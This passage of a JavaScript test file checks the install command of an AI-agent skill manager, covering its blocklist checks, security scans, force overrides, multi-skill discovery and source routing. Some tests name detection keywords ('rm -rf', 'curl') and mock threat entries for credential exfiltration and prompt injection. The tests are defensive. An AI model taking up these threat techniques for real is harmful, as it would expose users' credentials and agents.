- mockEnsureLockfile.mockReturnValue({
461
- version: 1,
462
- agents: [],
463
- skills: {},
464
- createdAt: "2026-01-01T00:00:00.000Z",
465
- updatedAt: "2026-01-01T00:00:00.000Z",
466
- });
467
- // Force install despite failure to reach lockfile update
468
- await addCommand(localPath, {
469
- plugin: "frontend",
470
- pluginDir: localPath,
471
- force: true,
472
- });
473
- // runTier1Scan should have been called with content containing hook file data
474
- expect(mockRunTier1Scan).toHaveBeenCalled();
475
- const scannedContent = mockRunTier1Scan.mock.calls[0][0];
476
- // The scanned content should include hook file content (rm -rf, curl)
477
- expect(scannedContent).toContain("rm -rf");
478
- expect(scannedContent).toContain("curl");
479
- });
480
- });
481
- });
482
- // ---------------------------------------------------------------------------
483
- // T-013: Blocklist check in GitHub path
484
- // ---------------------------------------------------------------------------
485
- describe("addCommand blocklist check (GitHub path)", () => {
486
- // Mock global fetch for GitHub path tests
487
- const originalFetch = globalThis.fetch;
488
- beforeEach(() => {
489
- globalThis.fetch = vi.fn().mockResolvedValue({
490
- ok: true,
491
- text: async () => "# Safe Skill\nNormal content",
492
- });
493
- });
494
- afterEach(() => {
495
- globalThis.fetch = originalFetch;
496
- });
497
- it("blocks installation when skill is on the blocklist", async () => {
498
- mockCheckInstallSafety.mockResolvedValue({
499
- blocked: true,
500
- entry: {
501
- skillName: "evil-repo",
502
- threatType: "credential-theft",
503
- severity: "critical",
504
- reason: "Steals AWS credentials",
505
- evidenceUrls: [],
506
- discoveredAt: "2026-02-01T00:00:00Z",
507
- },
508
- rejected: false,
509
- });
510
- const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
511
- throw new Error("process.exit");
512
- });
513
- await expect(addCommand("owner/evil-repo", {})).rejects.toThrow("process.exit");
514
- expect(mockCheckInstallSafety).toHaveBeenCalledWith("evil-repo");
515
- expect(mockExit).toHaveBeenCalledWith(1);
516
- // Tier 1 scan should NOT have been called (blocked before scan)
517
- expect(mockRunTier1Scan).not.toHaveBeenCalled();
518
- const errorOutput = console.error.mock.calls
519
- .map((c) => String(c[0]))
520
- .join("\n");
521
- expect(errorOutput).toContain("BLOCKED");
522
- expect(errorOutput).toContain("credential-theft");
523
- expect(errorOutput).toContain("https://verified-skill.com/skills/evil-repo");
524
- mockExit.mockRestore();
525
- });
526
- it("proceeds normally when skill is NOT on the blocklist", async () => {
527
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
528
- mockRunTier1Scan.mockReturnValue(makeScanResult());
529
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
530
- mockEnsureLockfile.mockReturnValue({
531
- version: 1,
532
- agents: [],
533
- skills: {},
534
- createdAt: "2026-01-01T00:00:00.000Z",
535
- updatedAt: "2026-01-01T00:00:00.000Z",
536
- });
537
- await addCommand("owner/safe-repo", {});
538
- expect(mockCheckInstallSafety).toHaveBeenCalledWith("safe-repo");
539
- expect(mockRunTier1Scan).toHaveBeenCalled();
540
- });
541
- it("uses --skill name for blocklist check when provided", async () => {
542
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
543
- mockRunTier1Scan.mockReturnValue(makeScanResult());
544
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
545
- mockEnsureLockfile.mockReturnValue({
546
- version: 1,
547
- agents: [],
548
- skills: {},
549
- createdAt: "2026-01-01T00:00:00.000Z",
550
- updatedAt: "2026-01-01T00:00:00.000Z",
551
- });
552
- await addCommand("owner/repo", { skill: "my-skill" });
553
- expect(mockCheckInstallSafety).toHaveBeenCalledWith("my-skill");
554
- });
555
- });
556
- // ---------------------------------------------------------------------------
557
- // T-014: Blocklist check in plugin path
558
- // ---------------------------------------------------------------------------
559
- describe("addCommand blocklist check (plugin path)", () => {
560
- it("blocks plugin installation when plugin is on the blocklist", async () => {
561
- mockCheckInstallSafety.mockResolvedValue({
562
- blocked: true,
563
- entry: {
564
- skillName: "evil-plugin",
565
- threatType: "prompt-injection",
566
- severity: "critical",
567
- reason: "Injects malicious prompts",
568
- evidenceUrls: [],
569
- discoveredAt: "2026-02-01T00:00:00Z",
570
- },
571
- rejected: false,
572
- });
573
- mockExistsSync.mockReturnValue(true);
574
- mockReadFileSync.mockImplementation((p) => {
575
- if (p.includes("marketplace.json")) {
576
- return JSON.stringify({
577
- name: "test",
578
- version: "1.0.0",
579
- plugins: [
580
- { name: "evil-plugin", source: "./plugins/evil-plugin", version: "1.0.0" },
581
- ],
582
- });
583
- }
584
- return "";
585
- });
586
- const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
587
- throw new Error("process.exit");
588
- });
589
- await expect(addCommand("source", { plugin: "evil-plugin", pluginDir: "/tmp/test" })).rejects.toThrow("process.exit");
590
- expect(mockCheckInstallSafety).toHaveBeenCalledWith("evil-plugin");
591
- expect(mockRunTier1Scan).not.toHaveBeenCalled();
592
- mockExit.mockRestore();
593
- });
594
- it("proceeds with plugin installation when not blocklisted", async () => {
595
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
596
- mockExistsSync.mockReturnValue(true);
597
- mockReadFileSync.mockImplementation((p) => {
598
- if (p.includes("marketplace.json")) {
599
- return JSON.stringify({
600
- name: "test",
601
- version: "1.0.0",
602
- plugins: [
603
- { name: "safe-plugin", source: "./plugins/safe-plugin", version: "1.0.0" },
604
- ],
605
- });
606
- }
607
- return "";
608
- });
609
- mockReaddirSync.mockReturnValue(["SKILL.md"]);
610
- mockRunTier1Scan.mockReturnValue(makeScanResult());
611
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
612
- mockEnsureLockfile.mockReturnValue({
613
- version: 1,
614
- agents: [],
615
- skills: {},
616
- createdAt: "2026-01-01T00:00:00.000Z",
617
- updatedAt: "2026-01-01T00:00:00.000Z",
618
- });
619
- await addCommand("source", { plugin: "safe-plugin", pluginDir: "/tmp/test" });
620
- expect(mockCheckInstallSafety).toHaveBeenCalledWith("safe-plugin");
621
- expect(mockRunTier1Scan).toHaveBeenCalled();
622
- });
623
- });
624
- // ---------------------------------------------------------------------------
625
- // T-015: --force does NOT override blocked skills
626
- // ---------------------------------------------------------------------------
627
- describe("addCommand --force with blocked skill", () => {
628
- const originalFetch = globalThis.fetch;
629
- beforeEach(() => {
630
- globalThis.fetch = vi.fn().mockResolvedValue({
631
- ok: true,
632
- text: async () => "# Skill content",
633
- });
634
- });
635
- afterEach(() => {
636
- globalThis.fetch = originalFetch;
637
- });
638
- it("shows warning but continues with --force (GitHub path)", async () => {
639
- mockCheckInstallSafety.mockResolvedValue({
640
- blocked: true,
641
- entry: {
642
- skillName: "evil-skill",
643
- threatType: "credential-theft",
644
- severity: "critical",
645
- reason: "Base64-encoded AWS credential exfil",
646
- evidenceUrls: [],
647
- discoveredAt: "2026-02-01T00:00:00Z",
648
- },
649
- rejected: false,
650
- });
651
- await addCommand("owner/evil-skill", { force: true });
652
- // --force should show WARNING and continue to tier 1 scan
653
- expect(mockRunTier1Scan).toHaveBeenCalled();
654
- const errorOutput = console.error.mock.calls
655
- .map((c) => String(c[0]))
656
- .join("\n");
657
- expect(errorOutput).toContain("WARNING");
658
- expect(errorOutput).toContain("https://verified-skill.com/skills/evil-skill");
659
- });
660
- it("shows warning but continues with --force (plugin path)", async () => {
661
- mockCheckInstallSafety.mockResolvedValue({
662
- blocked: true,
663
- entry: {
664
- skillName: "evil-plugin",
665
- threatType: "prompt-injection",
666
- severity: "critical",
667
- reason: "Injects malicious prompts",
668
- evidenceUrls: [],
669
- discoveredAt: "2026-02-01T00:00:00Z",
670
- },
671
- rejected: false,
672
- });
673
- mockExistsSync.mockReturnValue(true);
674
- mockReadFileSync.mockImplementation((p) => {
675
- if (p.includes("marketplace.json")) {
676
- return JSON.stringify({
677
- name: "test",
678
- version: "1.0.0",
679
- plugins: [
680
- { name: "evil-plugin", source: "./plugins/evil-plugin", version: "1.0.0" },
681
- ],
682
- });
683
- }
684
- return "";
685
- });
686
- await addCommand("source", { plugin: "evil-plugin", pluginDir: "/tmp/test", force: true });
687
- // --force should show WARNING and continue
688
- const errorOutput = console.error.mock.calls
689
- .map((c) => String(c[0]))
690
- .join("\n");
691
- expect(errorOutput).toContain("WARNING");
692
- expect(mockRunTier1Scan).toHaveBeenCalled();
693
- });
694
- });
695
- // ---------------------------------------------------------------------------
696
- // T-015b: Rejected skill shows warning but proceeds with installation
697
- // ---------------------------------------------------------------------------
698
- describe("addCommand with rejected skill", () => {
699
- const originalFetch = globalThis.fetch;
700
- beforeEach(() => {
701
- globalThis.fetch = vi.fn().mockResolvedValue({
702
- ok: true,
703
- text: async () => "# Rejected Skill\nContent here",
704
- });
705
- });
706
- afterEach(() => {
707
- globalThis.fetch = originalFetch;
708
- });
709
- it("shows warning with details link but proceeds (GitHub path)", async () => {
710
- mockCheckInstallSafety.mockResolvedValue({
711
- blocked: false,
712
- rejected: true,
713
- rejection: {
714
- skillName: "sketchy-skill",
715
- state: "REJECTED",
716
- reason: "Verification failed (REJECTED)",
717
- score: 25,
718
- rejectedAt: "2026-02-25T05:26:33.762Z",
719
- },
720
- });
721
- mockRunTier1Scan.mockReturnValue(makeScanResult());
722
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
723
- mockEnsureLockfile.mockReturnValue({
724
- version: 1,
725
- agents: [],
726
- skills: {},
727
- createdAt: "2026-01-01T00:00:00.000Z",
728
- updatedAt: "2026-01-01T00:00:00.000Z",
729
- });
730
- await addCommand("owner/sketchy-skill", {});
731
- // Should show warning
732
- const errorOutput = console.error.mock.calls
733
- .map((c) => String(c[0]))
734
- .join("\n");
735
- expect(errorOutput).toContain("WARNING");
736
- expect(errorOutput).toContain("failed platform verification");
737
- expect(errorOutput).toContain("25/100");
738
- expect(errorOutput).toContain("https://verified-skill.com/skills/sketchy-skill");
739
- // Should still proceed to tier 1 scan and install
740
- expect(mockRunTier1Scan).toHaveBeenCalled();
741
- });
742
- });
743
- // ---------------------------------------------------------------------------
744
- // T-016/T-017: Platform security check in GitHub path
745
- // ---------------------------------------------------------------------------
746
- describe("addCommand platform security check (GitHub path)", () => {
747
- const originalFetch = globalThis.fetch;
748
- beforeEach(() => {
749
- globalThis.fetch = vi.fn().mockResolvedValue({
750
- ok: true,
751
- text: async () => "# Safe Skill\nNormal content",
752
- });
753
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
754
- });
755
- afterEach(() => {
756
- globalThis.fetch = originalFetch;
757
- });
758
- it("blocks installation when platform reports CRITICAL findings", async () => {
759
- mockCheckPlatformSecurity.mockResolvedValue({
760
- hasCritical: true,
761
- overallVerdict: "FAIL",
762
- providers: [
763
- { provider: "semgrep", status: "FAIL", verdict: "critical", criticalCount: 3 },
764
- { provider: "snyk", status: "PASS", verdict: "clean", criticalCount: 0 },
765
- ],
766
- reportUrl: "/skills/evil-skill/security",
767
- });
768
- const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
769
- throw new Error("process.exit");
770
- });
771
- await expect(addCommand("owner/evil-skill", {})).rejects.toThrow("process.exit");
772
- expect(mockExit).toHaveBeenCalledWith(1);
773
- const errorOutput = console.error.mock.calls
774
- .map((c) => String(c[0]))
775
- .join("\n");
776
- expect(errorOutput).toContain("BLOCKED");
777
- expect(errorOutput).toContain("CRITICAL");
778
- expect(errorOutput).toContain("semgrep");
779
- // Should NOT proceed to tier 1 scan
780
- expect(mockRunTier1Scan).not.toHaveBeenCalled();
781
- mockExit.mockRestore();
782
- });
783
- it("shows warning and proceeds when CRITICAL + --force", async () => {
784
- mockCheckPlatformSecurity.mockResolvedValue({
785
- hasCritical: true,
786
- overallVerdict: "FAIL",
787
- providers: [
788
- { provider: "semgrep", status: "FAIL", verdict: "critical", criticalCount: 2 },
789
- ],
790
- reportUrl: "/skills/evil-skill/security",
791
- });
792
- mockRunTier1Scan.mockReturnValue(makeScanResult());
793
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
794
- mockEnsureLockfile.mockReturnValue({
795
- version: 1,
796
- agents: [],
797
- skills: {},
798
- createdAt: "2026-01-01T00:00:00.000Z",
799
- updatedAt: "2026-01-01T00:00:00.000Z",
800
- });
801
- await addCommand("owner/evil-skill", { force: true });
802
- const errorOutput = console.error.mock.calls
803
- .map((c) => String(c[0]))
804
- .join("\n");
805
- expect(errorOutput).toContain("WARNING");
806
- expect(errorOutput).toContain("CRITICAL");
807
- expect(errorOutput).toContain("semgrep");
808
- // Should proceed to tier 1 scan
809
- expect(mockRunTier1Scan).toHaveBeenCalled();
810
- });
811
- it("shows info message and proceeds when scans are PENDING", async () => {
812
- mockCheckPlatformSecurity.mockResolvedValue({
813
- hasCritical: false,
814
- overallVerdict: "PENDING",
815
- providers: [
816
- { provider: "semgrep", status: "PENDING", verdict: null, criticalCount: 0 },
817
- ],
818
- reportUrl: "/skills/test-skill/security",
819
- });
820
- mockRunTier1Scan.mockReturnValue(makeScanResult());
821
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
822
- mockEnsureLockfile.mockReturnValue({
823
- version: 1,
824
- agents: [],
825
- skills: {},
826
- createdAt: "2026-01-01T00:00:00.000Z",
827
- updatedAt: "2026-01-01T00:00:00.000Z",
828
- });
829
- await addCommand("owner/test-skill", {});
830
- const logOutput = console.log.mock.calls
831
- .map((c) => String(c[0]))
832
- .join("\n");
833
- expect(logOutput).toContain("pending");
834
- // Should proceed to tier 1 scan
835
- expect(mockRunTier1Scan).toHaveBeenCalled();
836
- });
837
- it("proceeds normally when platform check returns null (network error)", async () => {
838
- mockCheckPlatformSecurity.mockResolvedValue(null);
839
- mockRunTier1Scan.mockReturnValue(makeScanResult());
840
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
841
- mockEnsureLockfile.mockReturnValue({
842
- version: 1,
843
- agents: [],
844
- skills: {},
845
- createdAt: "2026-01-01T00:00:00.000Z",
846
- updatedAt: "2026-01-01T00:00:00.000Z",
847
- });
848
- await addCommand("owner/safe-skill", {});
849
- // Should proceed to tier 1 scan without any blocking
850
- expect(mockRunTier1Scan).toHaveBeenCalled();
851
- });
852
- });
853
- // ---------------------------------------------------------------------------
854
- // Multi-skill repo discovery + install
855
- // ---------------------------------------------------------------------------
856
- describe("addCommand multi-skill discovery (GitHub path)", () => {
857
- const originalFetch = globalThis.fetch;
858
- beforeEach(() => {
859
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
860
- mockCheckPlatformSecurity.mockResolvedValue(null);
861
- mockRunTier1Scan.mockReturnValue(makeScanResult());
862
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
863
- mockEnsureLockfile.mockReturnValue({
864
- version: 1,
865
- agents: [],
866
- skills: {},
867
- createdAt: "2026-01-01T00:00:00.000Z",
868
- updatedAt: "2026-01-01T00:00:00.000Z",
869
- });
870
- });
871
- afterEach(() => {
872
- globalThis.fetch = originalFetch;
873
- });
874
- // TC-007: Multi-skill repo installs all discovered skills
875
- it("installs all discovered skills from a multi-skill repo", async () => {
876
- mockDiscoverSkills.mockResolvedValue([
877
- { name: "repo", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
878
- { name: "foo", path: "skills/foo/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/foo/SKILL.md" },
879
- { name: "bar", path: "skills/bar/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/bar/SKILL.md" },
880
- ]);
881
- // Each fetch for individual SKILL.md content succeeds
882
- globalThis.fetch = vi.fn().mockResolvedValue({
883
- ok: true,
884
- text: async () => "# Skill content",
885
- });
886
- await addCommand("owner/repo", {});
887
- // Marketplace detection now retries + raw fallback (3 attempts) + 3 SKILL.md files = 6
888
- expect(globalThis.fetch).toHaveBeenCalledTimes(6);
889
- // Should have scanned 3 skills
890
- expect(mockRunTier1Scan).toHaveBeenCalledTimes(3);
891
- // Lockfile should have 3 entries
892
- expect(mockWriteLockfile).toHaveBeenCalled();
893
- const lockArg = mockWriteLockfile.mock.calls[0][0];
894
- expect(Object.keys(lockArg.skills)).toHaveLength(3);
895
- expect(lockArg.skills).toHaveProperty("repo");
896
- expect(lockArg.skills).toHaveProperty("foo");
897
- expect(lockArg.skills).toHaveProperty("bar");
898
- });
899
- // TC-008: Single-skill repo behaves identically to before
900
- it("installs single skill when repo has only root SKILL.md", async () => {
901
- mockDiscoverSkills.mockResolvedValue([
902
- { name: "repo", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
903
- ]);
904
- globalThis.fetch = vi.fn().mockResolvedValue({
905
- ok: true,
906
- text: async () => "# Skill content",
907
- });
908
- await addCommand("owner/repo", {});
909
- expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
910
- const lockArg = mockWriteLockfile.mock.calls[0][0];
911
- expect(Object.keys(lockArg.skills)).toHaveLength(1);
912
- expect(lockArg.skills).toHaveProperty("repo");
913
- });
914
- // TC-009: --skill flag bypasses discovery
915
- it("bypasses discovery when --skill flag is provided", async () => {
916
- globalThis.fetch = vi.fn().mockResolvedValue({
917
- ok: true,
918
- text: async () => "# Specific skill",
919
- });
920
- await addCommand("owner/repo", { skill: "specific" });
921
- // Discovery should NOT have been called
922
- expect(mockDiscoverSkills).not.toHaveBeenCalled();
923
- // Should fetch from skills/specific/SKILL.md
924
- expect(globalThis.fetch).toHaveBeenCalledWith("https://raw.githubusercontent.com/owner/repo/main/skills/specific/SKILL.md");
925
- });
926
- // TC-010: Failed scan for one skill does not block others
927
- it("skips failed skills and installs the rest", async () => {
928
- mockDiscoverSkills.mockResolvedValue([
929
- { name: "good1", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
930
- { name: "bad", path: "skills/bad/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/bad/SKILL.md" },
931
- { name: "good2", path: "skills/good2/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/good2/SKILL.md" },
932
- ]);
933
- globalThis.fetch = vi.fn().mockResolvedValue({
934
- ok: true,
935
- text: async () => "# Skill content",
936
- });
937
- // Second scan fails
938
- mockRunTier1Scan
939
- .mockReturnValueOnce(makeScanResult())
940
- .mockReturnValueOnce(makeScanResult({ verdict: "FAIL", score: 10 }))
941
- .mockReturnValueOnce(makeScanResult());
942
- await addCommand("owner/repo", {});
943
- // All 3 scanned, but only 2 installed
944
- expect(mockRunTier1Scan).toHaveBeenCalledTimes(3);
945
- const lockArg = mockWriteLockfile.mock.calls[0][0];
946
- expect(Object.keys(lockArg.skills)).toHaveLength(2);
947
- expect(lockArg.skills).toHaveProperty("good1");
948
- expect(lockArg.skills).toHaveProperty("good2");
949
- expect(lockArg.skills).not.toHaveProperty("bad");
950
- });
951
- // TC-011: Discovery API failure falls back to single-skill install
952
- it("falls back to single root SKILL.md when discovery returns empty", async () => {
953
- mockDiscoverSkills.mockResolvedValue([]);
954
- globalThis.fetch = vi.fn().mockResolvedValue({
955
- ok: true,
956
- text: async () => "# Root skill content",
957
- });
958
- await addCommand("owner/repo", {});
959
- // Should fall back to fetching root SKILL.md directly
960
- expect(globalThis.fetch).toHaveBeenCalledWith("https://raw.githubusercontent.com/owner/repo/main/SKILL.md");
961
- expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
962
- });
963
- });
964
- // ---------------------------------------------------------------------------
965
- // Source format routing — 3-part, URL normalization, edge cases
966
- // ---------------------------------------------------------------------------
967
- describe("addCommand source format routing", () => {
968
- const originalFetch = globalThis.fetch;
969
- beforeEach(() => {
970
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
971
- mockCheckPlatformSecurity.mockResolvedValue(null);
972
- mockRunTier1Scan.mockReturnValue(makeScanResult());
973
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
974
- mockEnsureLockfile.mockReturnValue({
975
- version: 1,
976
- agents: [],
977
- skills: {},
978
- createdAt: "2026-01-01T00:00:00.000Z",
979
- updatedAt: "2026-01-01T00:00:00.000Z",
980
- });
981
- globalThis.fetch = vi.fn().mockResolvedValue({
982
- ok: true,
983
- text: async () => "# Skill content",
984
- });
985
- });
986
- afterEach(() => {
987
- globalThis.fetch = originalFetch;
988
- });
989
- // TC-017: 3-part format owner/repo/skill routes to installSingleSkillLegacy
990
- it("3-part format fetches from skills/<skill>/SKILL.md and bypasses discovery", async () => {
991
- await addCommand("owner/repo/my-skill", {});
992
- expect(mockDiscoverSkills).not.toHaveBeenCalled();
993
- expect(globalThis.fetch).toHaveBeenCalledWith("https://raw.githubusercontent.com/owner/repo/main/skills/my-skill/SKILL.md");
994
- expect(mockRunTier1Scan).toHaveBeenCalledTimes(1);
995
- });
996
- // TC-018: 3-part format writes correct skill name to lockfile
997
- it("3-part format writes skill name (not repo) to lockfile", async () => {
998
- await addCommand("owner/repo/my-skill", {});
999
- expect(mockWriteLockfile).toHaveBeenCalled();
1000
- const lockArg = mockWriteLockfile.mock.calls[0][0];
1001
- expect(lockArg.skills).toHaveProperty("my-skill");
1002
- expect(lockArg.skills["my-skill"].source).toBe("github:owner/repo");
1003
- });
1004
- // TC-019: 4+ parts falls through to registry lookup (not 3-part)
1005
- it("4-part source falls through to registry lookup", async () => {
1006
- mockGetSkill.mockResolvedValue({ content: "# Skill" });
1007
- await addCommand("a/b/c/d", {});
1008
- // Not treated as 3-part (parts.length === 4, not 3)
1009
- expect(mockDiscoverSkills).not.toHaveBeenCalled();
1010
- // Falls to registry because parts.length !== 2
1011
- expect(mockGetSkill).toHaveBeenCalledWith("a/b/c/d");
1012
- });
1013
- // TC-020: Full GitHub URL normalized to 2-part before routing
1014
- it("GitHub URL normalizes to owner/repo and triggers discovery", async () => {
1015
- mockDiscoverSkills.mockResolvedValue([
1016
- { name: "repo", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
1017
- ]);
1018
- await addCommand("https://github.com/owner/repo", {});
1019
- expect(mockDiscoverSkills).toHaveBeenCalledWith("owner", "repo");
1020
- });
1021
- // TC-021: GitHub URL with .git suffix stripped
1022
- it("GitHub URL with .git suffix strips it before routing", async () => {
1023
- mockDiscoverSkills.mockResolvedValue([
1024
- { name: "repo", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
1025
- ]);
1026
- await addCommand("https://github.com/owner/repo.git", {});
1027
- expect(mockDiscoverSkills).toHaveBeenCalledWith("owner", "repo");
1028
- });
1029
- // TC-022: No source provided exits with error
1030
- it("exits with error when source is undefined and no flags set", async () => {
1031
- const mockExit = vi.spyOn(process, "exit").mockImplementation(() => {
1032
- throw new Error("process.exit");
1033
- });
1034
- await expect(addCommand(undefined, {})).rejects.toThrow("process.exit");
1035
- expect(mockExit).toHaveBeenCalledWith(1);
1036
- mockExit.mockRestore();
1037
- });
1038
- // TC-023: 3-part format with --copy uses copy installer
1039
- it("3-part format with --copy flag uses installCopy", async () => {
1040
- await addCommand("owner/repo/my-skill", { copy: true });
1041
- expect(mockInstallCopy).toHaveBeenCalled();
1042
- expect(mockInstallSymlink).not.toHaveBeenCalled();
1043
- });
1044
- // TC-024: 3-part format with --global installs globally
1045
- it("3-part format with --global flag passes global option", async () => {
1046
- await addCommand("owner/repo/my-skill", { global: true });
1047
- expect(mockInstallSymlink).toHaveBeenCalled();
1048
- const installArgs = mockInstallSymlink.mock.calls[0];
1049
- // installSymlink(skillName, content, agents, { global, projectRoot })
1050
- expect(installArgs[3]).toEqual(expect.objectContaining({ global: true }));
1051
- });
1052
- // TC-025: 2-part + --skill is equivalent to 3-part format
1053
- it("2-part with --skill fetches same URL as 3-part format", async () => {
1054
- const expectedUrl = "https://raw.githubusercontent.com/owner/repo/main/skills/specific/SKILL.md";
1055
- // 2-part with --skill flag
1056
- await addCommand("owner/repo", { skill: "specific" });
1057
- expect(globalThis.fetch).toHaveBeenCalledWith(expectedUrl);
1058
- // Reset fetch mock
1059
- globalThis.fetch.mockClear();
1060
- vi.clearAllMocks();
1061
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
1062
- mockCheckPlatformSecurity.mockResolvedValue(null);
1063
- mockRunTier1Scan.mockReturnValue(makeScanResult());
1064
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
1065
- mockEnsureLockfile.mockReturnValue({
1066
- version: 1,
1067
- agents: [],
1068
- skills: {},
1069
- createdAt: "2026-01-01T00:00:00.000Z",
1070
- updatedAt: "2026-01-01T00:00:00.000Z",
1071
- });
1072
- // 3-part format
1073
- await addCommand("owner/repo/specific", {});
1074
- expect(globalThis.fetch).toHaveBeenCalledWith(expectedUrl);
1075
- });
1076
- });
1077
- // ---------------------------------------------------------------------------
1078
- // Registry install (installFromRegistry) — no slash in source
1079
- // ---------------------------------------------------------------------------
1080
- describe("addCommand registry install (no slash in source)", () => {
1081
- beforeEach(() => {
1082
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
1083
- mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
1084
- mockRunTier1Scan.mockReturnValue(makeScanResult());
1085
- mockEnsureLockfile.mockReturnValue({
1086
- version: 1,
1087
- agents: [],
1088
- skills: {},
1089
- createdAt: "2026-01-01T00:00:00.000Z",
1090
- updatedAt: "2026-01-01T00:00:00.000Z",
1091
- });
1092
- });
1093
- it("installs a skill when registry returns content", async () => {
1094
- mockGetSkill.mockResolvedValue({
1095
- name: "my-skill",
1096
- author: "alice",
1097
- tier: "VERIFIED",
1098
- score: 90,
1099
- version: "1.0.0",
1100
- sha: "",
1101
- description: "A skill",
1102
- content: "# My Skill\nDoes great things.",
1103
- installs: 5,
1104
- updatedAt: "2026-01-01T00:00:00Z",
1105
- });
1106
- await addCommand("my-skill", {});
1107
- expect(mockGetSkill).toHaveBeenCalledWith("my-skill");
1108
- expect(mockRunTier1Scan).toHaveBeenCalledWith("# My Skill\nDoes great things.");
1109
- expect(mockWriteFileSync).toHaveBeenCalledWith(expect.stringContaining("my-skill"), "# My Skill\nDoes great things.", "utf-8");
1110
- expect(mockWriteLockfile).toHaveBeenCalledWith(expect.objectContaining({
1111
- skills: expect.objectContaining({
1112
- "my-skill": expect.objectContaining({ source: "registry:my-skill" }),
1113
- }),
1114
- }), expect.any(String));
1115
- });
1116
- it("exits with error when skill is not in registry", async () => {
1117
- mockGetSkill.mockRejectedValue(new Error("API request failed: 404 Not Found"));
1118
- const mockExit = vi.spyOn(process, "exit").mockImplementation((() => { }));
1119
- await addCommand("nonexistent-skill", {});
1120
- expect(mockExit).toHaveBeenCalledWith(1);
1121
- mockExit.mockRestore();
1122
- });
1123
- it("falls back to GitHub install via repoUrl when content is missing", async () => {
1124
- mockGetSkill.mockResolvedValue({
1125
- name: "remotion-dev-skills-remotion",
1126
- author: "remotion-dev",
1127
- tier: "VERIFIED",
1128
- score: 100,
1129
- version: "1.0.0",
1130
- sha: "",
1131
- description: "Remotion skill",
1132
- content: undefined,
1133
- installs: 0,
1134
- updatedAt: "2026-02-20T00:00:00Z",
1135
- repoUrl: "https://github.com/remotion-dev/skills",
1136
- });
1137
- // After fallback, addCommand calls discoverSkills("remotion-dev", "skills")
1138
- mockDiscoverSkills.mockResolvedValue([
1139
- { name: "remotion", path: "skills/remotion/SKILL.md", rawUrl: "https://raw.githubusercontent.com/remotion-dev/skills/main/skills/remotion/SKILL.md" },
1140
- ]);
1141
- // Then fetches the skill content from GitHub
1142
- globalThis.fetch = vi.fn().mockResolvedValue({
1143
- ok: true,
1144
- text: async () => "# Remotion skill content",
1145
- });
1146
- await addCommand("remotion-dev-skills-remotion", {});
1147
- expect(mockDiscoverSkills).toHaveBeenCalledWith("remotion-dev", "skills");
1148
- // installOneGitHubSkill now uses canonical installer
1149
- expect(mockInstallSymlink).toHaveBeenCalled();
1150
- });
1151
- it("falls back to GitHub install via author/skillName when repoUrl is absent", async () => {
1152
- mockGetSkill.mockResolvedValue({
1153
- name: "some-skill",
1154
- author: "bob",
1155
- tier: "VERIFIED",
1156
- score: 50,
1157
- version: "0.1.0",
1158
- sha: "",
1159
- description: "",
1160
- content: undefined,
1161
- installs: 0,
1162
- updatedAt: "2026-01-01T00:00:00Z",
1163
- });
1164
- // Fallback uses author/skillName → discoverSkills("bob", "some-skill")
1165
- mockDiscoverSkills.mockResolvedValue([]);
1166
- // Discovery empty → falls back to root SKILL.md fetch
1167
- globalThis.fetch = vi.fn().mockResolvedValue({
1168
- ok: true,
1169
- text: async () => "# Some skill",
1170
- });
1171
- await addCommand("some-skill", {});
1172
- expect(mockDiscoverSkills).toHaveBeenCalledWith("bob", "some-skill");
1173
- expect(mockRunTier1Scan).toHaveBeenCalled();
1174
- });
1175
- it("exits when no content, no repoUrl, and no author", async () => {
1176
- mockGetSkill.mockResolvedValue({
1177
- name: "",
1178
- author: "",
1179
- tier: "VERIFIED",
1180
- score: 0,
1181
- version: "0.0.0",
1182
- sha: "",
1183
- description: "",
1184
- content: undefined,
1185
- installs: 0,
1186
- updatedAt: "",
1187
- });
1188
- const mockExit = vi.spyOn(process, "exit").mockImplementation((() => { }));
1189
- await addCommand("mystery-skill", {});
1190
- expect(mockExit).toHaveBeenCalledWith(1);
1191
- mockExit.mockRestore();
1192
- });
1193
- });
1194
- // ---------------------------------------------------------------------------
1195
- // T-012 through T-015: Smart project root and agent filter integration
1196
- // ---------------------------------------------------------------------------
1197
- describe("addCommand smart project root resolution", () => {
1198
- const originalFetch = globalThis.fetch;
1199
- beforeEach(() => {
1200
- globalThis.fetch = vi.fn().mockResolvedValue({
1201
- ok: true,
1202
- text: async () => "# Skill content",
1203
- });
1204
- mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
1205
